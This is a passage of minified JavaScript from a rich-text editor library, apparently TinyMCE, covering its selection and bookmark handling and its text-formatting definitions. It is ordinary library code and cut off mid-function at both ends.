r=e[t?"startContainer":"endContainer"],i=e[t?"startOffset":"endOffset"],o=[],a,s,l=0;if(3==r.nodeType){if(c)for(a=r.previousSibling;a&&3==a.nodeType;a=a.previousSibling)i+=a.nodeValue.length;o.push(i)}else
s=r.childNodes,i>=s.length&&s.length&&(l=1,i=Math.max(0,s.length-1)),o.push(u.nodeIndex(s[i],c)+l);for(;r&&r!=n;r=r.parentNode)o.push(u.nodeIndex(r,c));return
o}var n=u.getRoot(),r={};return
r.start=t(e,!0),s.isCollapsed()||(r.end=t(e)),r}function h(e){function
t(e,t){var r;if(o.isElement(e)&&(e=a.getNode(e,t),l(e)))return
e;if(n.isCaretContainer(e)){if(o.isText(e)&&n.isCaretContainerBlock(e)&&(e=e.parentNode),r=e.previousSibling,l(r))return
r;if(r=e.nextSibling,l(r))return r}}return
t(e.startContainer,e.startOffset)||t(e.endContainer,e.endOffset)}var
m,g,v,y,b,C,x="&#xFEFF;",w;if(2==e)return
C=s.getNode(),b=C?C.nodeName:null,m=s.getRng(),l(C)||"IMG"==b?{name:b,index:d(b,C)}:s.tridentSel?s.tridentSel.getBookmark(e):(C=h(m),C?(b=C.tagName,{name:b,index:d(b,C)}):p(m));if(3==e)return
m=s.getRng(),{start:r.create(u.getRoot(),i.fromRangeStart(m)),end:r.create(u.getRoot(),i.fromRangeEnd(m))};if(e)return{rng:s.getRng()};if(m=s.getRng(),v=u.uniqueId(),y=s.isCollapsed(),w="overflow:hidden;line-height:0px",m.duplicate||m.item){if(m.item)return
C=m.item(0),b=C.nodeName,{name:b,index:d(b,C)};g=m.duplicate();try{m.collapse(),m.pasteHTML('<span
data-mce-type="bookmark" id="'+v+'_start"
style="'+w+'">'+x+"</span>"),y||(g.collapse(!1),m.moveToElementText(g.parentElement()),0===m.compareEndPoints("StartToEnd",g)&&g.move("character",-1),g.pasteHTML('<span
data-mce-type="bookmark" id="'+v+'_end"
style="'+w+'">'+x+"</span>"))}catch(E){return
null}}else{if(C=s.getNode(),b=C.nodeName,"IMG"==b)return{name:b,index:d(b,C)};g=f(m.cloneRange()),y||(g.collapse(!1),g.insertNode(u.create("span",{"data-mce-type":"bookmark",id:v+"_end",style:w},x))),m=f(m),m.collapse(!0),m.insertNode(u.create("span",{"data-mce-type":"bookmark",id:v+"_start",style:w},x))}return
s.moveToBookmark({id:v,keep:1}),{id:v}},this.moveToBookmark=function(n){function
i(e){var
t=n[e?"start":"end"],r,i,o,a;if(t){for(o=t[0],i=d,r=t.length-1;r>=1;r--){if(a=i.childNodes,t[r]>a.length-1)return;i=a[t[r]]}3===i.nodeType&&(o=Math.min(t[0],i.nodeValue.length)),1===i.nodeType&&(o=Math.min(t[0],i.childNodes.length)),e?c.setStart(i,o):c.setEnd(i,o)}return!0}function
o(r){var
i=u.get(n.id+"_"+r),o,a,s,l,c=n.keep;if(i&&(o=i.parentNode,"start"==r?(c?(o=i.firstChild,a=1):a=u.nodeIndex(i),f=p=o,h=m=a):(c?(o=i.firstChild,a=1):a=u.nodeIndex(i),p=o,m=a),!c)){for(l=i.previousSibling,s=i.nextSibling,t.each(t.grep(i.childNodes),function(e){3==e.nodeType&&(e.nodeValue=e.nodeValue.replace(/\uFEFF/g,""))});i=u.get(n.id+"_"+r);)u.remove(i,1);l&&s&&l.nodeType==s.nodeType&&3==l.nodeType&&!e.opera&&(a=l.nodeValue.length,l.appendData(s.nodeValue),u.remove(s),"start"==r?(f=p=l,h=m=a):(p=l,m=a))}}function
a(t){return!u.isBlock(t)||t.innerHTML||e.ie||(t.innerHTML='<br
data-mce-bogus="1" />'),t}function l(){var e,t;return
e=u.createRng(),t=r.resolve(u.getRoot(),n.start),e.setStart(t.container(),t.offset()),t=r.resolve(u.getRoot(),n.end),e.setEnd(t.container(),t.offset()),e}var
c,d,f,p,h,m;if(n)if(t.isArray(n.start)){if(c=u.createRng(),d=u.getRoot(),s.tridentSel)return
s.tridentSel.moveToBookmark(n);i(!0)&&i()&&s.setRng(c)}else"string"==typeof
n.start?s.setRng(l(n)):n.id?(o("start"),o("end"),f&&(c=u.createRng(),c.setStart(a(f),h),c.setEnd(a(p),m),s.setRng(c))):n.name?s.select(u.select(n.name)[n.index]):n.rng&&s.setRng(n.rng)}}var
l=o.isContentEditableFalse;return s.isBookmarkNode=function(e){return
e&&"SPAN"===e.tagName&&"bookmark"===e.getAttribute("data-mce-type")},s}),r(Y,[y,H,F,T,j,_,P,d,m,$],function(e,n,r,i,o,a,s,l,u,c){function
d(e,t,i,a){var
s=this;s.dom=e,s.win=t,s.serializer=i,s.editor=a,s.bookmarkManager=new
o(s),s.controlSelection=new r(s,a),s.win.getSelection||(s.tridentSel=new
n(s))}var f=u.each,p=u.trim,h=u.extend,m=l.ie;return
d.prototype={setCursorLocation:function(e,t){var
n=this,r=n.dom.createRng();e?(r.setStart(e,t),r.setEnd(e,t),n.setRng(r),n.collapse(!1)):(n._moveEndPoint(r,n.editor.getBody(),!0),n.setRng(r))},getContent:function(e){var
n=this,r=n.getRng(),i=n.dom.create("body"),o=n.getSel(),a,s,l;return
e=e||{},a=s="",e.get=!0,e.format=e.format||"html",e.selection=!0,n.editor.fire("BeforeGetContent",e),"text"==e.format?n.isCollapsed()?"":r.text||(o.toString?o.toString():""):(r.cloneContents?(l=r.cloneContents(),l&&i.appendChild(l)):r.item!==t||r.htmlText!==t?(i.innerHTML="<br>"+(r.item?r.item(0).outerHTML:r.htmlText),i.removeChild(i.firstChild)):i.innerHTML=r.toString(),/^\s/.test(i.innerHTML)&&(a="
"),/\s+$/.test(i.innerHTML)&&(s="
"),e.getInner=!0,e.content=n.isCollapsed()?"":a+n.serializer.serialize(i,e)+s,n.editor.fire("GetContent",e),e.content)},setContent:function(e,t){var
n=this,r=n.getRng(),i,o=n.win.document,a,l;if(t=t||{format:"html"},t.set=!0,t.selection=!0,t.content=e,t.no_events||n.editor.fire("BeforeSetContent",t),"raw"!==t.format){var
u=n.editor.parser.parse(t.content,h({isRootContent:!0,forced_root_block:!1},t));e=new
s({validate:n.editor.settings.validate},n.editor.schema).serialize(u)}else
e=t.content;if(r.insertNode){e+='<span
id="__caret">_</span>',r.startContainer==o&&r.endContainer==o?o.body.innerHTML=e:(r.deleteContents(),0===o.body.childNodes.length?o.body.innerHTML=e:r.createContextualFragment?r.insertNode(r.createContextualFragment(e)):(a=o.createDocumentFragment(),l=o.createElement("div"),a.appendChild(l),l.outerHTML=e,r.insertNode(a))),i=n.dom.get("__caret"),r=o.createRange(),r.setStartBefore(i),r.setEndBefore(i),n.setRng(r),n.dom.remove("__caret");try{n.setRng(r)}catch(c){}}else
r.item&&(o.execCommand("Delete",!1,null),r=n.getRng()),/^\s+/.test(e)?(r.pasteHTML('<span
id="__mce_tmp">_</span>'+e),n.dom.remove("__mce_tmp")):r.pasteHTML(e);t.no_events||n.editor.fire("SetContent",t)},getStart:function(e){var
t=this,n=t.getRng(),r,i,o,a;if(n.duplicate||n.item){if(n.item)return
n.item(0);for(o=n.duplicate(),o.collapse(1),r=o.parentElement(),r.ownerDocument!==t.dom.doc&&(r=t.dom.getRoot()),i=a=n.parentElement();a=a.parentNode;)if(a==r){r=i;break}return
r}return
r=n.startContainer,1==r.nodeType&&r.hasChildNodes()&&(e&&n.collapsed||(r=r.childNodes[Math.min(r.childNodes.length-1,n.startOffset)])),r&&3==r.nodeType?r.parentNode:r},getEnd:function(e){var
t=this,n=t.getRng(),r,i;return
n.duplicate||n.item?n.item?n.item(0):(n=n.duplicate(),n.collapse(0),r=n.parentElement(),r.ownerDocument!==t.dom.doc&&(r=t.dom.getRoot()),r&&"BODY"==r.nodeName?r.lastChild||r:r):(r=n.endContainer,i=n.endOffset,1==r.nodeType&&r.hasChildNodes()&&(e&&n.collapsed||(r=r.childNodes[i>0?i-1:i])),r&&3==r.nodeType?r.parentNode:r)},getBookmark:function(e,t){return
this.bookmarkManager.getBookmark(e,t)},moveToBookmark:function(e){return
this.bookmarkManager.moveToBookmark(e)},select:function(e,t){var
n=this,r=n.dom,i=r.createRng(),o;if(n.lastFocusBookmark=null,e){if(!t&&n.controlSelection.controlSelect(e))return;o=r.nodeIndex(e),i.setStart(e.parentNode,o),i.setEnd(e.parentNode,o+1),t&&(n._moveEndPoint(i,e,!0),n._moveEndPoint(i,e)),n.setRng(i)}return
e},isCollapsed:function(){var
e=this,t=e.getRng(),n=e.getSel();return!(!t||t.item)&&(t.compareEndPoints?0===t.compareEndPoints("StartToEnd",t):!n||t.collapsed)},collapse:function(e){var
t=this,n=t.getRng(),r;n.item&&(r=n.item(0),n=t.win.document.body.createTextRange(),n.moveToElementText(r)),n.collapse(!!e),t.setRng(n)},getSel:function(){var
e=this.win;return
e.getSelection?e.getSelection():e.document.selection},getRng:function(e){function
t(e,t,n){try{return t.compareBoundaryPoints(e,n)}catch(r){return-1}}var
n=this,r,i,o,a,s,l;if(!n.win)return
null;if(a=n.win.document,"undefined"==typeof a||null===a)return
null;if(!e&&n.lastFocusBookmark){var u=n.lastFocusBookmark;return
u.startContainer?(i=a.createRange(),i.setStart(u.startContainer,u.startOffset),i.setEnd(u.endContainer,u.endOffset)):i=u,i}if(e&&n.tridentSel)return
n.tridentSel.getRangeAt(0);try{(r=n.getSel())&&(i=r.rangeCount>0?r.getRangeAt(0):r.createRange?r.createRange():a.createRange())}catch(c){}if(l=n.editor.fire("GetSelectionRange",{range:i}),l.range!==i)return
l.range;if(m&&i&&i.setStart&&a.selection){try{s=a.selection.createRange()}catch(c){}s&&s.item&&(o=s.item(0),i=a.createRange(),i.setStartBefore(o),i.setEndAfter(o))}return
i||(i=a.createRange?a.createRange():a.body.createTextRange()),i.setStart&&9===i.startContainer.nodeType&&i.collapsed&&(o=n.dom.getRoot(),i.setStart(o,0),i.setEnd(o,0)),n.selectedRange&&n.explicitRange&&(0===t(i.START_TO_START,i,n.selectedRange)&&0===t(i.END_TO_END,i,n.selectedRange)?i=n.explicitRange:(n.selectedRange=null,n.explicitRange=null)),i},setRng:function(e,t){var
n=this,r,i,o;if(e)if(e.select){n.explicitRange=null;try{e.select()}catch(a){}}else
if(n.tridentSel){if(e.cloneRange)try{n.tridentSel.addRange(e)}catch(a){}}else{if(r=n.getSel(),o=n.editor.fire("SetSelectionRange",{range:e}),e=o.range,r){n.explicitRange=e;try{r.removeAllRanges(),r.addRange(e)}catch(a){}t===!1&&r.extend&&(r.collapse(e.endContainer,e.endOffset),r.extend(e.startContainer,e.startOffset)),n.selectedRange=r.rangeCount>0?r.getRangeAt(0):null}e.collapsed||e.startContainer!=e.endContainer||!r.setBaseAndExtent||l.ie||e.endOffset-e.startOffset<2&&e.startContainer.hasChildNodes()&&(i=e.startContainer.childNodes[e.startOffset],i&&"IMG"==i.tagName&&(r.setBaseAndExtent(e.startContainer,e.startOffset,e.endContainer,e.endOffset),r.anchorNode===e.startContainer&&r.focusNode===e.endContainer||r.setBaseAndExtent(i,0,i,1))),n.editor.fire("AfterSetSelectionRange",{range:e})}},setNode:function(e){var
t=this;return
t.setContent(t.dom.getOuterHTML(e)),e},getNode:function(){function
e(e,t){for(var
n=e;e&&3===e.nodeType&&0===e.length;)e=t?e.nextSibling:e.previousSibling;return
e||n}var t=this,n=t.getRng(),r,i,o,a,s,l=t.dom.getRoot();return
n?(i=n.startContainer,o=n.endContainer,a=n.startOffset,s=n.endOffset,n.setStart?(r=n.commonAncestorContainer,!n.collapsed&&(i==o&&s-a<2&&i.hasChildNodes()&&(r=i.childNodes[a]),3===i.nodeType&&3===o.nodeType&&(i=i.length===a?e(i.nextSibling,!0):i.parentNode,o=0===s?e(o.previousSibling,!1):o.parentNode,i&&i===o))?i:r&&3==r.nodeType?r.parentNode:r):(r=n.item?n.item(0):n.parentElement(),r.ownerDocument!==t.win.document&&(r=l),r)):l},getSelectedBlocks:function(t,n){var
r=this,i=r.dom,o,a,s=[];if(a=i.getRoot(),t=i.getParent(t||r.getStart(),i.isBlock),n=i.getParent(n||r.getEnd(),i.isBlock),t&&t!=a&&s.push(t),t&&n&&t!=n){o=t;for(var
l=new
e(t,a);(o=l.next())&&o!=n;)i.isBlock(o)&&s.push(o)}return
n&&t!=n&&n!=a&&s.push(n),s},isForward:function(){var
e=this.dom,t=this.getSel(),n,r;return!(t&&t.anchorNode&&t.focusNode)||(n=e.createRng(),n.setStart(t.anchorNode,t.anchorOffset),n.collapse(!0),r=e.createRng(),r.setStart(t.focusNode,t.focusOffset),r.collapse(!0),n.compareBoundaryPoints(n.START_TO_START,r)<=0)},normalize:function(){var
e=this,t=e.getRng();return l.range&&new
i(e.dom).normalize(t)&&e.setRng(t,e.isForward()),t},selectorChanged:function(e,t){var
n=this,r;return
n.selectorChangedData||(n.selectorChangedData={},r={},n.editor.on("NodeChange",function(e){var
t=e.element,i=n.dom,o=i.getParents(t,null,i.getRoot()),a={};f(n.selectorChangedData,function(e,t){f(o,function(n){if(i.is(n,t))return
r[t]||(f(e,function(e){e(!0,{node:n,selector:t,parents:o})}),r[t]=e),a[t]=e,!1})}),f(r,function(e,n){a[n]||(delete
r[n],f(e,function(e){e(!1,{node:t,selector:n,parents:o})}))})})),n.selectorChangedData[e]||(n.selectorChangedData[e]=[]),n.selectorChangedData[e].push(t),n},getScrollContainer:function(){for(var
e,t=this.dom.getRoot();t&&"BODY"!=t.nodeName;){if(t.scrollHeight>t.clientHeight){e=t;break}t=t.parentNode}return
e},scrollIntoView:function(e,t){function n(e){for(var
t=0,n=0,r=e;r&&r.nodeType;)t+=r.offsetLeft||0,n+=r.offsetTop||0,r=r.offsetParent;return{x:t,y:n}}var
r,i,o=this,s=o.dom,l=s.getRoot(),u,c,d=0;if(a.isElement(e)){if(t===!1&&(d=e.offsetHeight),"BODY"!=l.nodeName){var
f=o.getScrollContainer();if(f)return
r=n(e).y-n(f).y+d,c=f.clientHeight,u=f.scrollTop,void((r<u||r+25>u+c)&&(f.scrollTop=r<u?r:r-c+25))}i=s.getViewPort(o.editor.getWin()),r=s.getPos(e).y+d,u=i.y,c=i.h,(r<i.y||r+25>u+c)&&o.editor.getWin().scrollTo(0,r<u?r:r-c+25)}},placeCaretAt:function(e,t){this.setRng(i.getCaretRangeFromPoint(e,t,this.editor.getDoc()))},_moveEndPoint:function(t,n,r){var
i=n,o=new
e(n,i),a=this.dom.schema.getNonEmptyElements();do{if(3==n.nodeType&&0!==p(n.nodeValue).length)return
void(r?t.setStart(n,0):t.setEnd(n,n.nodeValue.length));if(a[n.nodeName]&&!/^(TD|TH)$/.test(n.nodeName))return
void(r?t.setStartBefore(n):"BR"==n.nodeName?t.setEndBefore(n):t.setEndAfter(n));if(l.ie&&l.ie<11&&this.dom.isBlock(n)&&this.dom.isEmpty(n))return
void(r?t.setStart(n,0):t.setEnd(n,0))}while(n=r?o.next():o.prev());"BODY"==i.nodeName&&(r?t.setStart(i,0):t.setEnd(i,i.childNodes.length))},getBoundingClientRect:function(){var
e=this.getRng();return
e.collapsed?c.fromRangeStart(e).getClientRects()[0]:e.getBoundingClientRect()},destroy:function(){this.win=null,this.controlSelection.destroy()}},d}),r(X,[j,m],function(e,t){function
n(t){this.compare=function(n,i){function o(e){var n={};return
r(t.getAttribs(e),function(r){var
i=r.nodeName.toLowerCase();0!==i.indexOf("_")&&"style"!==i&&0!==i.indexOf("data-")&&(n[i]=t.getAttrib(e,i))}),n}function
a(e,t){var n,r;for(r in
e)if(e.hasOwnProperty(r)){if(n=t[r],"undefined"==typeof
n)return!1;if(e[r]!=n)return!1;delete t[r]}for(r in
t)if(t.hasOwnProperty(r))return!1;return!0}return
n.nodeName==i.nodeName&&(!!a(o(n),o(i))&&(!!a(t.parseStyle(t.getAttrib(n,"style")),t.parseStyle(t.getAttrib(i,"style")))&&(!e.isBookmarkNode(n)&&!e.isBookmarkNode(i))))}}var
r=t.each;return n}),r(K,[w,m,B],function(e,t,n){function r(e,r){function
i(e,t){t.classes.length&&u.addClass(e,t.classes.join("
")),u.setAttribs(e,t.attrs)}function o(e){var t;return
c="string"==typeof
e?{name:e,classes:[],attrs:{}}:e,t=u.create(c.name),i(t,c),t}function
a(e,n){var r="string"!=typeof
e?e.nodeName.toLowerCase():e,i=f.getElementRule(r),o=i.parentsRequired;return!(!o||!o.length)&&(n&&t.inArray(o,n)!==-1?n:o[0])}function
s(e,n,r){var
i,l,c,d=n.length&&n[0],f=d&&d.name;if(c=a(e,f))f==c?(l=n[0],n=n.slice(1)):l=c;else
if(d)l=n[0],n=n.slice(1);else if(!r)return e;return
l&&(i=o(l),i.appendChild(e)),r&&(i||(i=u.create("div"),i.appendChild(e)),t.each(r,function(t){var
n=o(t);i.insertBefore(n,e)})),s(i,n,l&&l.siblings)}var
l,c,d,f=r&&r.schema||new n({});return
e&&e.length?(c=e[0],l=o(c),d=u.create("div"),d.appendChild(s(l,e.slice(1),c.siblings)),d):""}function
i(e,t){return r(a(e),t)}function o(e){var n,r={classes:[],attrs:{}};return
e=r.selector=t.trim(e),"*"!==e&&(n=e.replace(/(?:([#\.]|::?)([\w\-]+)|(\[)([^\]]+)\]?)/g,function(e,n,i,o,a){switch(n){case"#":r.attrs.id=i;break;case".":r.classes.push(i);break;case":":t.inArray("checked
disabled enabled read-only required".split("
"),i)!==-1&&(r.attrs[i]=i)}if("["==o){var
s=a.match(/([\w\-]+)(?:\=\"([^\"]+))?/);s&&(r.attrs[s[1]]=s[2])}return""})),r.name=n||"div",r}function
a(e){return e&&"string"==typeof
e?(e=e.split(/\s*,\s*/)[0],e=e.replace(/\s*(~\+|~|\+|>)\s*/g,"$1"),t.map(e.split(/(?:>|\s+(?![^\[\]]+\]))/),function(e){var
n=t.map(e.split(/(?:~\+|~|\+)/),o),r=n.pop();return
n.length&&(r.siblings=n),r}).reverse()):[]}function s(e,t){function
n(e){return e.replace(/%(\w+)/g,"")}var
i,o,s,c,d="",f,p;if(p=e.settings.preview_styles,p===!1)return"";if("string"!=typeof
p&&(p="font-family font-size font-weight font-style
text-decoration text-transform color background-color border border-radius
outline text-shadow"),"string"==typeof
t){if(t=e.formatter.get(t),!t)return;t=t[0]}return"preview"in
t&&(p=t.preview,p===!1)?"":(i=t.block||t.inline||"span",c=a(t.selector),c.length?(c[0].name||(c[0].name=i),i=t.selector,o=r(c,e)):o=r([i],e),s=u.select(i,o)[0]||o.firstChild,l(t.styles,function(e,t){e=n(e),e&&u.setStyle(s,t,e)}),l(t.attributes,function(e,t){e=n(e),e&&u.setAttrib(s,t,e)}),l(t.classes,function(e){e=n(e),u.hasClass(s,e)||u.addClass(s,e)}),e.fire("PreviewFormats"),u.setStyles(o,{position:"absolute",left:-65535}),e.getBody().appendChild(o),f=u.getStyle(e.getBody(),"fontSize",!0),f=/px$/.test(f)?parseInt(f,10):0,l(p.split("
"),function(t){var
n=u.getStyle(s,t,!0);if(!("background-color"==t&&/transparent|rgba\s*\([^)]+,\s*0\)/.test(n)&&(n=u.getStyle(e.getBody(),t,!0),"#ffffff"==u.toHex(n).toLowerCase())||"color"==t&&"#000000"==u.toHex(n).toLowerCase())){if("font-size"==t&&/em|%$/.test(n)){if(0===f)return;n=parseFloat(n,10)/(/%$/.test(n)?100:1),n=n*f+"px"}"border"==t&&n&&(d+="padding:0
2px;"),d+=t+":"+n+";"}}),e.fire("AfterPreviewFormats"),u.remove(o),d)}var
l=t.each,u=e.DOM;return{getCssText:s,parseSelector:a,selectorToHtml:i}}),r(G,[h,_,g],function(e,t,n){function
r(e,t){var n=o[e];n||(o[e]=n=[]),o[e].push(t)}function
i(e,t){s(o[e],function(e){e(t)})}var o={},a=e.filter,s=e.each;return
r("pre",function(r){function i(t){return
u(t.previousSibling)&&e.indexOf(c,t.previousSibling)!=-1}function
o(e,t){n(t).remove(),n(e).append("<br><br>").append(t.childNodes)}var
l=r.selection.getRng(),u,c;u=t.matchNodeNames("pre"),l.collapsed||(c=r.selection.getSelectedBlocks(),s(a(a(c,u),i),function(e){o(e.previousSibling,e)}))}),{postProcess:i}}),r(J,[y,T,j,X,z,m,K,G],function(e,t,n,r,i,o,a,s){return
function(l){function u(e){return
e.nodeType&&(e=e.nodeName),!!l.schema.getTextBlockElements()[e.toLowerCase()]}function
c(e){return/^(TH|TD)$/.test(e.nodeName)}function d(e){return
e&&/^(IMG)$/.test(e.nodeName)}function f(e,t){return
Q.getParents(e,t,Q.getRoot())}function p(e){return
1===e.nodeType&&"_mce_caret"===e.id}function
h(){v({valigntop:[{selector:"td,th",styles:{verticalAlign:"top"}}],valignmiddle:[{selector:"td,th",styles:{verticalAlign:"middle"}}],valignbottom:[{selector:"td,th",styles:{verticalAlign:"bottom"}}],alignleft:[{selector:"figure.image",collapsed:!1,classes:"align-left",ceFalseOverride:!0,preview:"font-family
font-size"},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"left"},inherit:!1,preview:!1,defaultBlock:"div"},{selector:"img,table",collapsed:!1,styles:{"float":"left"},preview:"font-family
font-size"}],aligncenter:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"center"},inherit:!1,preview:!1,defaultBlock:"div"},{selector:"figure.image",collapsed:!1,classes:"align-center",ceFalseOverride:!0,preview:"font-family
font-size"},{selector:"img",collapsed:!1,styles:{display:"block",marginLeft:"auto",marginRight:"auto"},preview:!1},{selector:"table",collapsed:!1,styles:{marginLeft:"auto",marginRight:"auto"},preview:"font-family
font-size"}],alignright:[{selector:"figure.image",collapsed:!1,classes:"align-right",ceFalseOverride:!0,preview:"font-family
font-size"},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"right"},inherit:!1,preview:"font-family
font-size",defaultBlock:"div"},{selector:"img,table",collapsed:!1,styles:{"float":"right"},preview:"font-family
font-size"}],alignjustify:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"justify"},inherit:!1,defaultBlock:"div",preview:"font-family
font-size"}],bold:[{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b",remove:"all"}],italic:[{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i",remove:"all"}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:!0},{inline:"u",remove:"all"}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:!0},{inline:"strike",remove:"all"}],forecolor:{inline:"span",styles:{color:"%value"},links:!0,remove_similar:!0},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"},links:!0,remove_similar:!0},fontname:{inline:"span",styles:{fontFamily:"%value"}},fontsize:{inline:"span",styles:{fontSize:"%value"}},fontsize_class:{inline:"span",attributes:{"class":"%value"}},blockquote:{block:"blockquote",wrapper:1,remove:"all"},subscript:{inline:"sub"},superscript:{inline:"sup"},code:{inline:"code"},link:{inline:"a",selector:"a",remove:"all",split:!0,
deep:!0,onmatch:function(){return!0},onformat:function(e,t,n){me(n,function(t,n){Q.setAttrib(e,n,t)})}},removeformat:[{selector:"b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,del,ins",remove:"all",split:!0,expand:!1,block_expand:!0,deep:!0},{selector:"span",attributes:["style","class"],remove:"empty",split:!0,expand:!1,deep:!0},{selector:"*",attributes:["style","class"],split:!1,expand:!1,deep:!0}]}),me("p
h1 h2 h3 h4 h5 h6 div address pre div dt dd
samp".split(/\s/),function(e){v(e,{block:e,remove:"all"})}),v(l.settings.formats)}function
m(){l.addShortcut("meta+b","bold_desc","Bold"),l.addShortcut("meta+i","italic_desc","Italic"),l.addShortcut("meta+u","underline_desc","Underline");for(var
e=1;e<=6;e++)l.addShortcut("access+"+e,"",["FormatBlock",!1,"h"+e]);l.addShortcut("access+7","",["FormatBlock",!1,"p"]),l.addShortcut("access+8","",["FormatBlock",!1,"div"]),l.addShortcut("access+9","",["FormatBlock",!1,"address"])}function
g(e){return e?J[e]:J}function v(e,t){e&&("string"!=typeof
e?me(e,function(e,t){v(t,e)}):(t=t.length?t:[t],me(t,function(e){e.deep===ce&&(e.deep=!e.selector),e.split===ce&&(e.split=!e.selector||e.inline),e.remove===ce&&e.selector&&!e.inline&&(e.remove="none"),e.selector&&e.inline&&(e.mixed=!0,e.block_expand=!0),"string"==typeof
e.classes&&(e.classes=e.classes.split(/\s+/))}),J[e]=t))}function
y(e){return e&&J[e]&&delete J[e],J}function b(e,t){var
n=g(t);if(n)for(var
r=0;r<n.length;r++)if(n[r].inherit===!1&&Q.is(e,n[r].selector))return!0;return!1}function
C(e){var t;return l.dom.getParent(e,function(e){return
t=l.dom.getStyle(e,"text-decoration"),t&&"none"!==t}),t}function
x(e){var
t;1===e.nodeType&&e.parentNode&&1===e.parentNode.nodeType&&(t=C(e.parentNode),l.dom.getStyle(e,"color")&&t?l.dom.setStyle(e,"text-decoration",t):l.dom.getStyle(e,"text-decoration")===t&&l.dom.setStyle(e,"text-decoration",null))}function
w(t,n,r){function
i(e,t){if(t=t||f,e){if(t.onformat&&t.onformat(e,t,n,r),me(t.styles,function(t,r){Q.setStyle(e,r,F(t,n))}),t.styles){var
i=Q.getAttrib(e,"style");i&&e.setAttribute("data-mce-style",i)}me(t.attributes,function(t,r){Q.setAttrib(e,r,F(t,n))}),me(t.classes,function(t){t=F(t,n),Q.hasClass(e,t)||Q.addClass(e,t)})}}function
o(e,t){var
n=!1;return!!f.selector&&(me(e,function(e){if(!("collapsed"in
e&&e.collapsed!==v))return
Q.is(t,e.selector)&&!p(t)?(i(t,e),n=!0,!1):void 0}),n)}function
a(){function t(t,n){var i=new
e(n);for(r=i.prev2();r;r=i.prev2()){if(3==r.nodeType&&r.data.length>0)return
r;if(r.childNodes.length>1||r==t||"BR"==r.tagName)return
r}}var
n=l.selection.getRng(),i=n.startContainer,o=n.endContainer;if(i!=o&&0===n.endOffset){var
a=t(i,o),s=3==a.nodeType?a.data.length:a.childNodes.length;n.setEnd(a,s)}return
n}function c(e,r,a){var
s=[],l,c,h=!0;l=f.inline||f.block,c=Q.create(l),i(c),ee.walk(e,function(e){function
r(e){var
g,v,y,b;if(b=h,g=e.nodeName.toLowerCase(),v=e.parentNode.nodeName.toLowerCase(),1===e.nodeType&&de(e)&&(b=h,h="true"===de(e),y=!0),D(g,"br"))return
m=0,void(f.block&&Q.remove(e));if(f.wrapper&&_(e,t,n))return
void(m=0);if(h&&!y&&f.block&&!f.wrapper&&u(g)&&te(v,l))return
e=Q.rename(e,l),i(e),s.push(e),void(m=0);if(f.selector){var
C=o(d,e);if(!f.inline||C)return
void(m=0)}!h||y||!te(l,g)||!te(v,l)||!a&&3===e.nodeType&&1===e.nodeValue.length&&65279===e.nodeValue.charCodeAt(0)||p(e)||f.inline&&ne(e)?(m=0,me(ge(e.childNodes),r),y&&(h=b),m=0):(m||(m=Q.clone(c,se),e.parentNode.insertBefore(m,e),s.push(m)),m.appendChild(e))}var
m;me(e,r)}),f.links===!0&&me(s,function(e){function
t(e){"A"===e.nodeName&&i(e,f),me(ge(e.childNodes),t)}t(e)}),me(s,function(e){function
r(e){var t=0;return
me(e.childNodes,function(e){z(e)||he(e)||t++}),t}function o(e){var
t=!1;return me(e.childNodes,function(e){if(M(e))return t=e,!1}),t}function
a(e,t){do{if(1!==r(e))break;if(e=o(e),!e)break;if(t(e))return
e}while(e);return null}function l(e){var t,n;return
t=o(e),t&&!he(t)&&B(t,f)&&(n=Q.clone(t,se),i(n),Q.replace(n,e,le),Q.remove(t,1)),n||e}var
u;if(u=r(e),(s.length>1||!ne(e))&&0===u)return void
Q.remove(e,1);if(f.inline||f.wrapper){if(f.exact||1!==u||(e=l(e)),me(d,function(t){me(Q.select(t.inline,e),function(e){he(e)||$(t,n,e,t.exact?e:null)})}),_(e.parentNode,t,n)&&$(f,n,e)&&(e=0),f.merge_with_parents&&Q.getParent(e.parentNode,function(r){if(_(r,t,n))return
$(f,n,e)&&(e=0),le}),!ne(e)&&!H(e,"fontSize")){var
c=a(e,P("fontSize"));c&&w("fontsize",{value:H(c,"fontSize")},e)}e&&f.merge_siblings!==!1&&(e=Y(j(e),e),e=Y(e,j(e,le)))}})}var
d=g(t),f=d[0],h,m,v=!r&&Z.isCollapsed();if("false"!==de(Z.getNode())){if(f){if(r)r.nodeType?o(d,r)||(m=Q.createRng(),m.setStartBefore(r),m.setEndAfter(r),c(W(m,d),null,!0)):c(r,null,!0);else
if(v&&f.inline&&!Q.select("td[data-mce-selected],th[data-mce-selected]").length)K("apply",t,n);else{var
y=l.selection.getNode();re||!d[0].defaultBlock||Q.getParent(y,Q.isBlock)||w(d[0].defaultBlock),l.selection.setRng(a()),h=Z.getBookmark(),c(W(Z.getRng(le),d),h),f.styles&&((f.styles.color||f.styles.textDecoration)&&(ve(y,x,"childNodes"),x(y)),f.styles.backgroundColor&&L(y,P("fontSize"),O("backgroundColor",F(f.styles.backgroundColor,n)))),Z.moveToBookmark(h),G(Z.getRng(le)),l.nodeChanged()}s.postProcess(t,l)}}else{r=Z.getNode();for(var
b=0,C=d.length;b<C;b++)if(d[b].ceFalseOverride&&Q.is(r,d[b].selector))return
void i(r,d[b])}}function E(e,t,n,r){function i(e){var
n,r,o,a,s;if(1===e.nodeType&&de(e)&&(a=y,y="true"===de(e),s=!0),n=ge(e.childNodes),y&&!s)for(r=0,o=p.length;r<o&&!$(p[r],t,e,e);r++);if(h.deep&&n.length){for(r=0,o=n.length;r<o;r++)i(n[r]);s&&(y=a)}}function
o(n){var i;return me(f(n.parentNode).reverse(),function(n){var
o;i||"_start"==n.id||"_end"==n.id||(o=_(n,e,t,r),o&&o.split!==!1&&(i=n))}),i}function
a(e,n,r,i){var
